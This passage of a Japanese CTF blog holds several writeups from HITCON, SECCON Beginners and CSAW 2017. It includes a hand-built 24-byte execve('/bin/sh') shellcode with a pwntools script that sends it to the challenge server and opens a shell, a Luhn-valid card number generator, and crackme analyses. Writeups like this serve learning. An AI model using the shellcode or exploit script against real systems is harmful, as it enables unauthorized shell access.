2016 boot drwxr-xr-x 15 root root 3780 May 26 03:00 dev drwxr-xr-x 116 root root 4096 May 26 03:00 etc drwxr-xr-x 4 root root 4096 May 26 02:39 home drwxr-xr-x 15 root root 4096 May 26 02:39 lib drwxr-xr-x 2 root root 4096 May 2 08:41 lib32 drwxr-xr-x 2 root root 4096 May 2 08:39 lib64 drwxr-xr-x 2 root root 4096 Feb 14 23:28 media drwxr-xr-x 2 root root 4096 Feb 14 23:28 mnt drwxr-xr-x 2 root root 4096 Feb 14 23:28 opt dr-xr-xr-x 174 root root 0 May 26 03:00 proc drwx------ 11 root root 4096 May 26 03:04 root drwxr-xr-x 9 root root 4096 May 26 03:00 run drwxr-xr-x 2 root root 4096 May 26 02:39 sbin drwxrwxr-x 5 1000 1000 4096 May 26 03:04 share drwxr-xr-x 2 root root 4096 Feb 14 23:28 srv dr-xr-xr-x 13 root root 0 May 24 07:44 sys drwxrwxrwt 2 root root 4096 May 26 03:00 tmp drwxr-xr-x 27 root root 4096 May 26 02:39 usr drwxr-xr-x 21 root root 4096 May 26 03:00 var ls -la /home total 12 drwxr-xr-x 4 root root 4096 May 26 02:39 . drwxr-xr-x 67 root root 4096 May 26 03:04 .. drwxr-xr-x 2 root root 4096 May 26 02:39 user ls -la /home/user total 12 drwxr-xr-x 2 root root 4096 May 26 02:39 . drwxr-xr-x 4 root root 4096 May 26 02:39 .. -rw-rw-r-- 1 root root 47 May 26 02:38 flag.txt cat /home/user/flag.txt CBCTF{7RAcKINg_H4ckERs_f00tPrINTs_i5_excItING}
まとめ
どうせ全く解けないだろうと思っていたのですが,解いてみると結構面白く,参加して良かったなと思いました.
Incident Responseに関しては,リアルでこういうのありそうだなって思いました.
最近気づいてしまったのが,Rev問やるのに暗号も少し知っておく必要があるってこと.(これはRev問じゃないけど)
なにかしらのテーブルを作ってそこからゴニョゴニョみたいなRev問をよく見ていて,なんだこれはって思うけどWriteupを見ると,とある暗号化方式が使われているのがわかったりする.
「この暗号化方式を使うと,こういうアセンブリが生成されて,こういう動きをする」とかは知っておくと便利そう.
HITCON CTF 2017 Quals - Easy to say -
開催期間(JST)
11/4 AM11:00 ~ 11/6 AM11:00
結果
・チーム名:wabisabi
・得点:331 pt
・順位:得点したチーム中,145/1078
解いた問題
・Easy to say (Misc 144)
取り組んだが解けなかった問題
・Start (Pwn)
・Re: Easy to say (Misc)
はじめに
HITCONの開始時間がちょうどバイト先のりんご狩りと重なるということがあり,スタートダッシュが切れず.
結局始めたのは19時~から.
最初はpwnのStartからやっていたものの,方針が違うのか全く見当がつかず,miscのEasy to sayに切り替えた.
2日目は起きる時間が16時頃になってしまい,17時頃からEasy to sayを始めた.
そこから10時間くらい,ああじゃないこうじゃないってやってようやく解けたけど,他の問題は解けず...惨敗.
Writeup
Easy to say (Misc)
問題文
Are you good at shellcoding? Warm up! nc 52.69.40.204 8361
解析
$ file easy_to_say-c7dd6cdf484305f7aaac4fa821796871 easy_to_say-c7dd6cdf484305f7aaac4fa821796871: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ebaecbb5f55329380b6476b55253b4ea59d91891, stripped
64bit,strippedなバイナリが与えられ,限られた条件で動くシェルコードをプログラミングする問題.
限られた条件というのは,各バイトそれぞれが重複していない,かつ24バイト以下というもの.
このプログラムは,適当なシェルコードを入力として与えてあげると,それを実行してくれる.
最初困ったのが,gdbでstartするとコアダンプするっていう問題.
$ gdb easy_to_say-c7dd6cdf484305f7aaac4fa821796871 Reading symbols from easy_to_say-c7dd6cdf484305f7aaac4fa821796871...(no debugging symbols found)...done. gdb-peda$ start No unwaited-for children left. zsh: abort (core dumped) gdb -q easy_to_say-c7dd6cdf484305f7aaac4fa821796871
シンボル情報消されていてもステップ実行はできるはずなのに,よくわからない.
結局,runして適当な入力値を与えるとSEGVを起こすので,そこからstartして,あとはひたすらniとsiで探っていった.
すると,
0x555555554990: xor ebp,ebp
が開始アドレスとわかったので,ここら辺にブレークポイントをしかけて解析していく.
0x555555554ddf: call c38 <stdout@@GLIBC_2.2.5-0x2013e8> # input_check(input_value, 0, 0)
入力値チェック的な関数を呼んでいる箇所.
ここから先のルーチンで,入力値が24バイトより大きい場合は24バイトに削り,入力値がユニークではない場合は Invalid input!
を表示するルーチンへ飛ばす.
0x555555554e2b: call rdx
最終的にここでシェルコードを実行するルーチンへ.
ここから先は,全汎用レジスタを初期化した後,入力されたシェルコードを実行するようになっている.
コーディング
一番問題なのは, /bin/sh
という文字列の /
が重複していること.
よって,最初の /
はとあるバイトに置き換えておいて,後でその1バイトのみをxorして元に戻す方針でいく.
.intel_syntax noprefix .global _start _start: mov rbx, 0x68732f6e696203 xor bl, 0x2c pushq rsi pushq rbx pushq rsp popq rdi mov al, 0x3b syscall
コンパイルして機械語のみを取り出す.ももテクさんの記事が参考になる.
$ gcc -nostdlib shellcode.s $ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g > input.txt
gdbにて run < input.txt
をし,正しく実行されていることを確認できたら,exploit.pyに書いていく.
#!/usr/bin/env python from pwn import * context(os="linux", arch="i386") """ 00000000004000d4 <_start>: 4000d4: 48 bb 03 62 69 6e 2f movabs rbx,0x68732f6e696203 4000db: 73 68 00 4000de: 80 f3 2c xor bl,0x2c 4000e1: 56 push rsi 4000e2: 53 push rbx 4000e3: 54 push rsp 4000e4: 5f pop rdi 4000e5: b0 3b mov al,0x3b 4000e7: 0f 05 syscall """ def main(): conn = remote("52.69.40.204", 8361) payload = "\x48\xbb\x03\x62\x69\x6e\x2f\x73\x68\x00\x80\xf3\x2c\x56\x53\x54\x5f\xb0\x3b\x0f\x05" conn.send(payload) conn.interactive() if __name__ == "__main__": main()
$ python exploit.py [+] Opening connection to 52.69.40.204 on port 8361: Done [*] Switching to interactive mode Give me your code :Run ! $ ls -la total 72 drwxr-xr-x 1 root root 4096 Nov 1 06:36 . drwxr-xr-x 1 root root 4096 Nov 1 06:36 .. -rwxr-xr-x 1 root root 0 Nov 1 06:36 .dockerenv drwxr-xr-x 2 root root 4096 Sep 15 08:42 bin drwxr-xr-x 2 root root 4096 Apr 10 2017 boot drwxr-xr-x 5 root root 340 Nov 4 04:40 dev drwxr-xr-x 1 root root 4096 Nov 1 06:36 etc drwxr-xr-x 1 root root 4096 Nov 1 06:36 home drwxr-xr-x 1 root root 4096 Feb 16 2017 lib drwxr-xr-x 2 root root 4096 Sep 15 08:42 lib64 drwxr-xr-x 2 root root 4096 Sep 15 08:42 media drwxr-xr-x 2 root root 4096 Sep 15 08:42 mnt drwxr-xr-x 2 root root 4096 Sep 15 08:42 opt dr-xr-xr-x 125 root root 0 Nov 4 04:40 proc drwx------ 2 root root 4096 Sep 15 08:42 root drwxrwxr-- 1 root root 4096 Sep 18 23:31 run drwxr-xr-x 1 root root 4096 Sep 18 23:31 sbin drwxr-xr-x 2 root root 4096 Sep 15 08:42 srv dr-xr-xr-x 13 root root 0 Nov 4 06:16 sys drwxr-xr-- 2 easy_to_say easy_to_say 4096 Oct 23 19:14 tmp drwxr-xr-x 1 root root 4096 Sep 15 08:42 usr drwxr-xr-x 1 root root 4096 Sep 15 08:42 var $ cd home $ ls -la total 12 drwxr-xr-x 1 root root 4096 Nov 1 06:36 . drwxr-xr-x 1 root root 4096 Nov 1 06:36 .. drwxr-xr-x 2 easy_to_say easy_to_say 4096 Nov 1 06:35 easy_to_say $ cd easy_to_say $ ls -la total 28 drwxr-xr-x 2 easy_to_say easy_to_say 4096 Nov 1 06:35 . drwxr-xr-x 1 root root 4096 Nov 1 06:36 .. -rwxr-xr-x 1 easy_to_say easy_to_say 10232 Nov 1 06:35 easy_to_say -rw-r--r-- 1 easy_to_say easy_to_say 43 Nov 1 06:35 flag -rwxr--r-- 1 easy_to_say easy_to_say 72 Nov 1 06:35 run.sh $ cat flag hitcon{sh3llc0d1n9_1s_4_b4by_ch4ll3n93_4u}
プロはすぐbabyっていう.
取り組んだが解けなかった問題
Start (Pwn)
問題文
Have you tried pwntools-ruby? nc 54.65.72.116 31337
server.rbがリモートで動いていて,与えられたrubyのコードをevalしてくれる.
また,同一ホスト内の31338ポートではstartというバイナリが動いていて,これは入力値をそのまま表示するだけ(?).10秒間でタイムアウトする.
server.rbに,Dirとかいろいろいい感じに使って,ローカルのファイルを読み出せたりはしたんだけど,フラグがどこにも見当たらない.
そもそも,それだとstartが別ポートで動いている必要がないし,やっぱりstartの脆弱性を何らかの方法で突くのかなと思い,やってみるも,どういう脆弱性が存在しているのかさっぱりわからず.
Re: Easy to say (Misc)
問題文
I think you can do better! nc 13.112.180.65 8361
Easy to sayのバイト数制限が8バイトverっていう激辛シェルコーディング問題.
無理だった.
まとめ
こうしてwriteupを書いていると解法は自明に思えてくるけど,解いている時は以外と思いつかず,REXプレフィックスに悩まされたり,xor ebx, ebx
と xor bx, bx
では挙動が違うことに悩まされたり.( xor bx, bx
だとRBXの下位2バイトだけいい感じに変化してくれるのに, xor ebx, ebx
だと,その結果が丸々RBXとなってしまう.同様に xor bl, bl
では下位1バイトだけ変更できる)
Rev問が1つも解けてないのが痛すぎる.
そろそろ,そこそこ難しい問題も解けるようになる必要がありそう.
SECCON Beginners 2017 仙台 に参加した感想&Writeup(decodeme)
はじめに
誘おうとした友人はフィリピンに連れていかれるらしく,ぼっち参戦してきました.参加理由としては,ずっと行ってみたかったっていうのと,Webわからんっていうのと,SECCONステッカーが欲しかったって感じです.
以下,感想とCTF中に解けなかったバイナリ300のdecodemeのWriteupです.decodemeを帰りの電車の中でやってたら10分でフラグが出てきて,なんでこれ解けなかったんだってなりました.どうも時間が限られてるとプレッシャー的なものが働いて,脳死状態になるっぽくてダメっぽいです.
参加しての感想など
まずはオリエンテーション,そしてWebとForensicsとReversingの講義,その後にれっくすさんの話を聞いて,あとはみんなでワイワイCTFをしてました.
参加人数は60人ほどだったのですが,1位から5位まではステッカーが貰えるということで頑張りました.
CTFではReversingとかを普段やっていることもあって,1位を取ることができました.
スコアボードは見ないように解いていたのですが,運営の方々の声とかで自分が結構上位にいるなとわかりました,そして気づいたら1位になっててビビりました.
自分はバイナリから解いていたのですが,バイナリを解く人が少ないので自分がバイナリをある程度解き終わった後は,ForensicsとWebの問題でそれぞれ解いた人数などが一目瞭然で,どれが簡単そうで難しそうかなどもわかって進めやすかったので,バイナリから解くバイナリアン戦法はオススメです.
decodeme(Writeup)
誰も解いてなかった問題です.
確かCTF中は,xorとかいろんな事やっていて解くのに時間かかりそうだなぁと思ったのですぐにForensicsに切り替えて,その後Webっていう順番で進めてました.
結果,本番中には解けなかったのですが,帰りの電車で見てみたところ,ただxorしてるだけやんけってなって解くことができました.
作問側への配慮で,少しぼかしたことを書きます.
問題としては入力値をある文字数受け取ってからその文字数分のループに入り,各文字とカウンタ変数とのxorを取って,それが"N1v\\F`anfgoy"と等しければctf4b{%s}の中に入れてその文字列を出力するようになっています.
よって,"N1v\\F`anfgoy"という文字列に対してある文字数分ループしてカウンタ変数とのxorを取ってやれば元に戻ります.
flagを一部隠しますが,以下のようなflagになるはずです.
ctf4b{N0t_XXXXXXXr}
まとめ
どの講義も初心者にわかりやすく,とても良質な講義だったと思います.
3つの講義以外にもとても良いことを仰っていて,佳山さんとれっくすさんの話が印象に残っています.
佳山さんの倫理の話では,我々が技術を悪用しないのは法律に関係なく,自分たちの仕事に誇りを持っているからみたいなことを,れっくすさんの話では,CTFは最近難化しているが,知的好奇心が強い人は必ず強くなれる,みたいなことを仰っていました.
あとは,Reversingの講義において,少ない講義時間でなにを教えようとしているか,どのようなことを覚えてもらいたいかなどをReversingの講義を担当したちひろさんに聞くことができました.
Reversingは他の2つと違って,覚えるべきことが多いと思うので,少ない講義時間で教えるのは大変だなぁと思いました.
そしてCTFですが,1時間弱というとても少ない時間でやるCTFは初めてだったので,いい経験になりました.
もっといろいろな人にBeginnersに参加して貰いたいなと思ったので,どんどん他の人にも勧めようと思います.
運営の方々,ありがとうございました!
おまけ
戦利品です.(((懇親会のコーラも頂きました)))
CSAW CTF Qualification Round 2017 Writeup
開催期間(JST)
09/16 AM5:00 ~ 09/18 AM5:00
結果
・チーム名:wabisabi
・得点:851 pt
・順位:得点したチーム中,231/1444
解いた問題
・CVV (Misc100)
・tablEZ (Reversing100)
・Best Router (Forensics200)
・realism (Reversing400)
取り組んだが解けなかった問題
・pilot (Pwn75)
・Missed Registration (Forensics150)
・Gopherz (Reversing350)
はじめに
今回はEKOPARTYのほうと被っていて,一応両方登録はしたんですが,結局CSAWだけやってました.
土曜日は@kobadlveと@phustlyと集まって少しやっていて,日曜は家に引きこもってやってました.
去年のCSAWは576ptで252/1274だったので,一応去年より高い順位は取れたっぽい.
Writeup
CVV (Misc100)
ncで繋ぐと,こんな感じでいろいろな種類のクレジットカード番号を求められます.
$ nc misc.chal.csaw.io 8308 I need a new American Express! ^C $ nc misc.chal.csaw.io 8308 I need a new Visa!
クレジットカードのパターンは,'MasterCard','Discover','American','Visa'の4つ.
確か「面白くて眠れなくなる数学」とかいう本を以前読んだ時に,クレジットカード番号はとあるアルゴリズムによって決まっているってことを知って,つまりランダムに数字を入力すればいいというわけではなくて,そのアルゴリズムに沿った数字を入力する必要がありそうだなぁとか思いました.
各クレジットカードについてもカード番号の桁数が違っていたり,それぞれカード番号にルールが決まっていたりするので,そこら辺を気を付けながらスクリプトを書きます.
使われているアルゴリズムの名前はLuhnアルゴリズムというものらしく,どうせ実装してる人いるやろって思ったらWikipediaに載ってたり,いろいろな書き方で実装している人がいたので,それをお借りしました.
Luhnアルゴリズム(やってみた Python2.7) · GitHub
雑にスクリプトを書いて回してみたら,Visaのカード番号を毎回失敗するVisaが苦手なスクリプトが生まれてしまって,どうしようかなと思った結果,以下の任意のクレジットカード番号を生成する神サイトを見つけたので,適当に100個くらい生成して,それを使うようにしました.
あとは,何回か正解すると途中から出題が変わって,ある数字で始まるもの,終わるもの,与えられた番号がvalidかinvalidか返すもの,とかにそれぞれスクリプトを雑に対応させました.
与えられた番号がvalidかinvalidか返すやつは,Luhnアルゴリズム自体が全ての間違いを検出できるわけではないっぽくて,2回目で成功しました.
以下,書いたスクリプト.(めっちゃ汚いけど,解ければいいやろと思ってる)
Luhnアルゴリズムでvalidが返るまでランダムに数字を生成して,それを送るってことをやってる.1度使ったものは使えないっぽいけど,これだけ大きければほぼ被ることはないだろうということで,その対策はしてない.
#!/usr/bin/env python # coding: utf-8 import socket import random import itertools s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('misc.chal.csaw.io', 8308)) card_list = ['MasterCard', 'Discover', 'American', 'Visa'] # https://gist.github.com/oyakata/5955744 より def check_digits(text): """itertools.cycleを使って実装。""" def even_value(x): y = x * 2 return y - 9 if y > 9 else y values = (int(x) for x in reversed(text)) switcher = itertools.cycle((lambda x: x, even_value)) digits = (func(x) for func, x in itertools.izip(switcher, values)) return sum(digits) % 10 == 0 def main(): count = 0 f = open('visa.txt', 'r') visa = f.read().split('\n') f.close() while(True): data = s.recv(256) print data all_data = data.split(' ') card = all_data[4].replace('!','').rstrip() if card == 'card': card = all_data[8].replace('!', '').rstrip() print card if card == 'MasterCard': while True: num = '5' + str(random.randint(100000000000000, 999999999999999)) print num if check_digits(num): break elif card == 'Discover': while True: num = '60110' + str(random.randint(10000000000, 99999999999)) print num if check_digits(num): break elif card == 'American': while True: num = '34' + str(random.randint(1000000000000, 9999999999999)) print num if check_digits(num): break elif card == 'Visa': print visa[count] num = visa[count] elif card == 'if': card_num = all_data[5] if check_digits(card_num): num = '1' else: num = '0' else: info = all_data[6] if len(card) == 4 and info == "starts": while True: num = card + str(random.randint(100000000000, 999999999909)) print num if check_digits(num): break elif len(card) == 1 and info == "ends": while True: num = str(random.randint(100000000000000, 999999999999999)) + card print num if check_digits(num): break elif len(card) == 4 and info == "ends": while True: num = str(random.randint(100000000000, 999999999909)) + card print num if check_digits(num): break s.sendall(num + '\n') count = count + 1 if __name__ == '__main__': main()
$ python solve.py . . . if True Thanks! I need to know if 7358400188115005 is valid! (0 = No, 1 = Yes) if True Thanks! I need to know if 8664780687553453 is valid! (0 = No, 1 = Yes) if False Thanks! I need to know if 1514774928101638 is valid! (0 = No, 1 = Yes) if False Thanks! I need to know if 9017155594857850 is valid! (0 = No, 1 = Yes) if True Thanks! I need to know if 3591469017167338 is valid! (0 = No, 1 = Yes) if False Thanks! flag{ch3ck-exp3rian-dat3-b3for3-us3}
tablEZ (Reversing100)
一番最初に解いたやつ.
問題文
Bobby was talking about tables a bunch, so I made some table stuff. I think this is what he was talking about...
$ ./true Please enter the flag: hoge WRONG
crackme系のやつ.
確か,入力値を元にテーブルからindexを求めて,それを使って再度テーブルから値を取り出す,ってことをやっていた気がします.
以下,解いていた時のメモ.
gdb-peda$ x/80 0x555555755281 0x555555755281 <trans_tbl+1>: 0x056c04c4039b02bb 0x09450822072e064a 0x555555755291 <trans_tbl+17>: 0x0d060cd50bb80a33 0x117910fa0fbc0e0a 0x5555557552a1 <trans_tbl+33>: 0x15bf14b213e11224 0x1960188617ad162c 0x5555557552b1 <trans_tbl+49>: 0x1d591cd81bb61aa4 0x217720941f411e87 0x5555557552c1 <trans_tbl+65>: 0x256124cb234f22f0 0x292a289727c02625 0x5555557552d1 <trans_tbl+81>: 0x2d9f2cc92b082a5c 0x31f930cf2f4e2e43 0x5555557552e1 <trans_tbl+97>: 0x35e73465336f323e 0x39ef38b7373936c5 0x5555557552f1 <trans_tbl+113>: 0x3daa3c2f3bc83ad0 0x4181403c3f473ec7 0x555555755301 <trans_tbl+129>: 0x45a644d343494232 0x49404858472b4696 0x555555755311 <trans_tbl+145>: 0x4d1a4cee4b9c4af1 0x518050d64fc64e5b 0x555555755321 <trans_tbl+161>: 0x553d549a536d522d 0x59e05884579356a7 0x555555755331 <trans_tbl+177>: 0x5d095cb95b3b5a12 0x614860995fba5e69 0x555555755341 <trans_tbl+193>: 0x6582647c63b16273 0x69fb689d672766be 0x555555755351 <trans_tbl+209>: 0x6db36cf46b7e6a67 0x711b705f6fc26e05 0x555555755361 <trans_tbl+225>: 0x7511747173237254 0x796878a577d27630 0x555555755371 <trans_tbl+241>: 0x7d7a7cf57b3f7a9e 0x8185800c7f0b7ece 0x555555755381 <trans_tbl+257>: 0x858e845e836382de 0x89da886a87fe86bd 0x555555755391 <trans_tbl+273>: 0x8dac8ce88b888a26 0x91f690a88f628e03 0x5555557553a1 <trans_tbl+289>: 0x95c3946b937592f7 0x998f98e697519646 0x5555557553b1 <trans_tbl+305>: 0x9d919c5a9b769a28 0xa152a0449f1f9eec 0x5555557553c1 <trans_tbl+321>: 0xa53aa48ba3fca201 0xa910a816a7a3a6a1 0x5555557553d1 <trans_tbl+337>: 0xad95accaab50aa14 0xb10eb035af4bae92 0x5555557553e1 <trans_tbl+353>: 0xb55db41db320b2b5 0xb90fb86eb7e2b6c1 0x5555557553f1 <trans_tbl+369>: 0xbdd9bcd4bb90baed 0xc157c098bfddbe42 0x555555755401 <trans_tbl+385>: 0xc556c478c319c237 0xc904c8d1c774c6af 0x555555755411 <trans_tbl+401>: 0xcd4ccce5cb55ca29 0xd1dbd089cff2cea0 0x555555755421 <trans_tbl+417>: 0xd5ead483d338d2e4 0xd98cd8dcd707d617 0x555555755431 <trans_tbl+433>: 0xdde9dc7bdbb4da8a 0xe10de015dfebdeff 0x555555755441 <trans_tbl+449>: 0xe534e4f3e3a2e202 0xe913e8f8e718e6cc 0x555555755451 <trans_tbl+465>: 0xed21ecaeeb7fea8d 0xf170f04defcdeee3 0x555555755461 <trans_tbl+481>: 0xf572f4abf3fdf253 0xf9a9f866f71cf664 0x555555755471 <trans_tbl+497>: 0xfddffcd7fb1efab0 0xe0000031ff7dfe36 0x5555555549c1 <main+289>: cmp QWORD PTR [rbp-0xc8],0x25 FLAGは0x25文字(37文字) This is the flag. gdb-peda$ x/30 0x7fffffffcac0 0x7fffffffcac0: 0xb1e711 f59d73b327 0x30f4f9f9b399beb3 0x7fffffffcad0: 0xb19965237399711b 0xf9279923be111165 0x7fffffffcae0: 0x000000 ce65059923
逆の処理を書くより,入力値を与えてテーブル作って,そこからflagを求めたほうが早そうなので,その方法でやりました.
string = "d0efb739c5e7656f3ef999cef53b12e08493a73d9a6d2d80d6c65b1aee9cf140582b96a6d349323f9e68a5d230117123541b5fc205b3f47e67fb9d27be827cb173" char = (('a'..'z').to_a.join + ('A'..'Z').to_a.join + '{}_' + ('0'..'9').to_a.join) list1 = string.scan(/.{1,2}/).reverse list2 = char.scan(/.{1,1}/) table = {} list1.zip(list2).each do |val1, val2| table.store(val1, val2) end flag_str = "ce65059923f9279923be111165b19965237399711b30f4f9f9b399beb3b1e711f59d73b327" flag_list = flag_str.scan(/.{1,2}/).reverse flag = "" flag_list.each do |val| flag = flag + table[val].to_s end puts flag
$ ruby solve.rb flag{t4ble_l00kups_ar3_b3tter_f0r_m3}
Best Router (Forensics200)
問題文
http://forensics.chal.csaw.io:3287 NOTE: This will expand to ~16GB!
解いているチームが多かったのでできそうだなぁとは思ってたのですが,16GBも容量がなかったので,土曜家に帰ってきてからDesktopのほうで解いたやつ.
与えられたbest_router.tar.gzを解凍すると,14.5GBのイメージファイルが出てきます.
FTK Imagerで解けそうなので,開いてみる.
いろいろありそうだけど,問題文を思い出してみる.
ログインフォームのURLが与えられているので,これにログインできるとflagが出そう.
/var/wwwが怪しそうなので見てみるとビンゴ.
flag.txtは空でここからは見れないので,やっぱり与えられたURLにログインする必要がありそう.
username:admin psassword:iforgotaboutthemathtest
でログインするとflagが貰える.
realism (Reversing400)
高得点の解きたいなぁと思って,rev問見てたら数十人が解いていたのでやってみた.
問題文
Did you know that x86 is really old? I found a really old Master Boot Record that I thought was quite interesting! At least, I think it's really old... qemu-system-i386 -drive format=raw,file=main.bin
QEMU初めて使った.
与えられたmain.binはブートセクタ.
与えれらたコマンド通りにmain.binを起動してみると,以下のような画面が出てきて,またこれもcrackme系の問題.
適当に入力すると,WRONG FLAG.
ブートセクタは512バイトで読むべきコード自体は少ないのですが,どう解析したらいいかわからなくて困った.
ググってたらndisasm
でできるよ,みたいなのを見つけて逆アセンブルしたらそれっぽく出てきたけど,やっぱり動的解析しないと厳しそう.
めっちゃ調べていろいろやってみたら,以下のようにして解析できた.
$ qemu-system-i386 -drive format=raw,file=main.bin -S -gdb tcp::1234
別terminalにてgdbを起動して,set architecture
,target remote
でそれぞれ指定.
ブートセクタは0x7C00にロードされるらしいので,そこにブレークポイントをしかける.
$ gdb gdb-peda$ set architecture i8086 gdb-peda$ target remote localhost:1234 gdb-peda$ b *0x7c00
pedaのプロンプトは出ているのに使えなかったので,ノーマルなgdbでノーマルなコマンドで解析する.
最初の4文字が"flag"かどうかチェックしている部分.入力値の長さのチェックはこれの前にある.
0x7c6f: cmp DWORD PTR ds:0x1234,0x67616c66 0x7c78: jne 0x7d4d
その後,入力値チェックがある.あとはここを読んで求解処理を書くだけ.
0x7c7c: movaps xmm0,XMMWORD PTR ds:0x1238 0x7c81: movaps xmm5,XMMWORD PTR ds:0x7c00 0x7c86: pshufd xmm0,xmm0,0x1e 0x7c8b: mov si,0x8 0x7c8e: movaps xmm2,xmm0 0x7c91: andps xmm2,XMMWORD PTR [si+0x7d90] 0x7c96: psadbw xmm5,xmm2 0x7c9a: movaps XMMWORD PTR ds:0x1268,xmm5 0x7c9f: mov di,WORD PTR ds:0x1268 0x7ca3: shl edi,0x10 0x7ca7: mov di,WORD PTR ds:0x1270 0x7cab: mov dx,si 0x7cad: dec dx 0x7cae: add dx,dx 0x7cb0: add dx,dx 0x7cb2: cmp edi,DWORD PTR [edx+0x7da8] 0x7cba: jne 0x7d4d 0x7cbe: dec si 0x7cbf: test si,si # If si is 0, finish. 0x7cc1: jne 0x7c8e
8回ループして入力値チェックしている.間違っていたら即Wrong.
最初にxmm0レジスタに読み込んだ入力値をpshufd
命令でシャッフルしている.
0x7c86: pshufd xmm0,xmm0,0x1e
このpshufd
命令までが初期化っぽい.
その後,andps
命令でシャッフルされた入力値をマスクする.(16バイトの内,ある2バイトを0にする.この0にする位置は徐々にずれていく)
0x7c91: andps xmm2,XMMWORD PTR [si+0x7d90]
そして,マスクした入力値とxmm5レジスタを使ってpsadbw
命令で差の絶対値を取ったり足したりする.(このxmm5レジスタの値は初期値だけ決まっていて,あとはpsadbwで求まった値を次の計算でも使う)
0x7c96: psadbw xmm5,xmm2
psadbw命令は以下がわかりやすい.
http://www.officedaytime.com/tips/simdimg/si.php?f=psadbw
その後,求まった値を使って8バイトの数値を作って,それが特定の値と等しいかどうかチェックしている.
1回目と2回目で各命令を実行したときのレジスタの値とかを逐一調べてメモしてた.
2回目の値も調べるために,バイナリ本体にパッチを当てちゃうと便利.
この部分を
0x7cba: jne 0x7d4d
以下のように書き換えて,オペコードをjeにする.
解いていた時のメモ.
Initialize ======================================================================================= => 0x7c6f: cmp DWORD PTR ds:0x1234,0x67616c66 0x7c78: jne 0x7d4d 0x7c7c: movaps xmm0,XMMWORD PTR ds:0x1238 gdb-peda$ p $xmm0 $2 = { v4_float = {12.0784864, 12.0784311, 12.0784311, 1.60549888e+37}, v2_double = {2261634.5098039485, 2.2040338477057924e+295}, v16_int8 = {0x7b, 0x41 <repeats 14 times>, 0x7d}, v8_int16 = {0x417b, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x7d41}, v4_int32 = {0x4141417b, 0x41414141, 0x41414141, 0x7d414141}, v2_int64 = {0x414141414141417b, 0x7d41414141414141}, uint128 = 0x7d41414141414141414141414141417b } 0x7c81: movaps xmm5,XMMWORD PTR ds:0x7c00 gdb-peda$ p $xmm5 $3 = { v4_float = {-134298496, -2.50091934, -1.48039995e-36, 1.93815862e-18}, v2_double = {-8.0294250547975565, 1.241726856953559e-144}, v16_int8 = {0xb8, 0x13, 0x0, 0xcd, 0x10, 0xf, 0x20, 0xc0, 0x83, 0xe0, 0xfb, 0x83, 0xc8, 0x2, 0xf, 0x22}, v8_int16 = {0x13b8, 0xcd00, 0xf10, 0xc020, 0xe083, 0x83fb, 0x2c8, 0x220f}, v4_int32 = {0xcd0013b8, 0xc0200f10, 0x83fbe083, 0x220f02c8}, v2_int64 = {0xc0200f10cd0013b8, 0x220f02c883fbe083}, uint128 = 0x220f02c883fbe083c0200f10cd0013b8 } 0x7c86: pshufd xmm0,xmm0,0x1e gdb-peda$ p $xmm0 $4 = { v4_float = {12.0784311, 1.60549888e+37, 12.0784311, 12.0784864}, v2_double = {2.2040338477057924e+295, 2261750.5098039214}, v16_int8 = {0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x7d, 0x41, 0x41, 0x41, 0x41, 0x7b, 0x41, 0x41, 0x41}, v8_int16 = {0x4141, 0x4141, 0x4141, 0x7d41, 0x4141, 0x4141, 0x417b, 0x4141}, v4_int32 = {0x41414141, 0x7d414141, 0x41414141, 0x4141417b}, v2_int64 = {0x7d41414141414141, 0x4141417b41414141}, uint128 = 0x4141417b414141417d41414141414141 } 0x7c8b: mov si,0x8 ======================================================================================= Loop ======================================================================================= 0x7c8e: movaps xmm2,xmm0 gdb-peda$ p $xmm2 $6 = { v4_float = {12.0784311, 1.60549888e+37, 12.0784311, 12.0784864}, v2_double = {2.2040338477057924e+295, 2261750.5098039214}, v16_int8 = {0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x7d, 0x41, 0x41, 0x41, 0x41, 0x7b, 0x41, 0x41, 0x41}, v8_int16 = {0x4141, 0x4141, 0x4141, 0x7d41, 0x4141, 0x4141, 0x417b, 0x4141}, v4_int32 = {0x41414141, 0x7d414141, 0x41414141, 0x4141417b}, v2_int64 = {0x7d41414141414141, 0x4141417b41414141}, uint128 = 0x4141417b414141417d41414141414141 } 0x7c91: andps xmm2,XMMWORD PTR [si+0x7d90] # first, si is 0x8. second, si is 0x7. 0 の位置が徐々にずれていく. First: gdb-peda$ x/30wx $si+0x7d90 0x7d98: 0xffffff00 0xffffffff 0xffffff00 0xffffffff 0x7da8: 0x02110270 0x02290255 0x025e0291 0x01f90233 0x7db8: 0x027b0278 0x02090221 0x0290025d 0x02df028f 0x7dc8: 0x00000014 0x00000000 0x00000000 0x00000000 0x7dd8: 0x00000000 0x00000000 0x00000000 0x00000000 0x7de8: 0x00000000 0x00000000 0x00000000 0x00000000 0x7df8: 0x00000000 0xaa550000 0x00000000 0x00000000 0x7e08: 0x00000000 0x00000000 Second: gdb-peda$ x/20wx $si+0x7d90 0x7d97: 0xffff00ff 0xffffffff 0xffff00ff 0xffffffff 0x7da7: 0x110270ff 0x29025502 0x5e029102 0xf9023302 0x7db7: 0x7b027801 0x09022102 0x90025d02 0xdf028f02 0x7dc7: 0x00001402 0x00000000 0x00000000 0x00000000 0x7dd7: 0x00000000 0x00000000 0x00000000 0x00000000 First: gdb-peda$ p $xmm2 $7 = { v4_float = {12.0783691, 1.60549888e+37, 12.0783691, 12.0784864}, v2_double = {2.2040338477057629e+295, 2261750.5098038912}, v16_int8 = {0x0, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x7d, 0x0, 0x41, 0x41, 0x41, 0x7b, 0x41, 0x41, 0x41}, v8_int16 = {0x4100, 0x4141, 0x4141, 0x7d41, 0x4100, 0x4141, 0x417b, 0x4141}, v4_int32 = {0x41414100, 0x7d414141, 0x41414100, 0x4141417b}, v2_int64 = {0x7d41414141414100, 0x4141417b41414100}, uint128 = 0x4141417b414141007d41414141414100 } Second: gdb-peda$ p $xmm2 $6 = { v4_float = {12.062562, 1.60549888e+37, 12.062562, 12.0784864}, v2_double = {2.2040338476982412e+295, 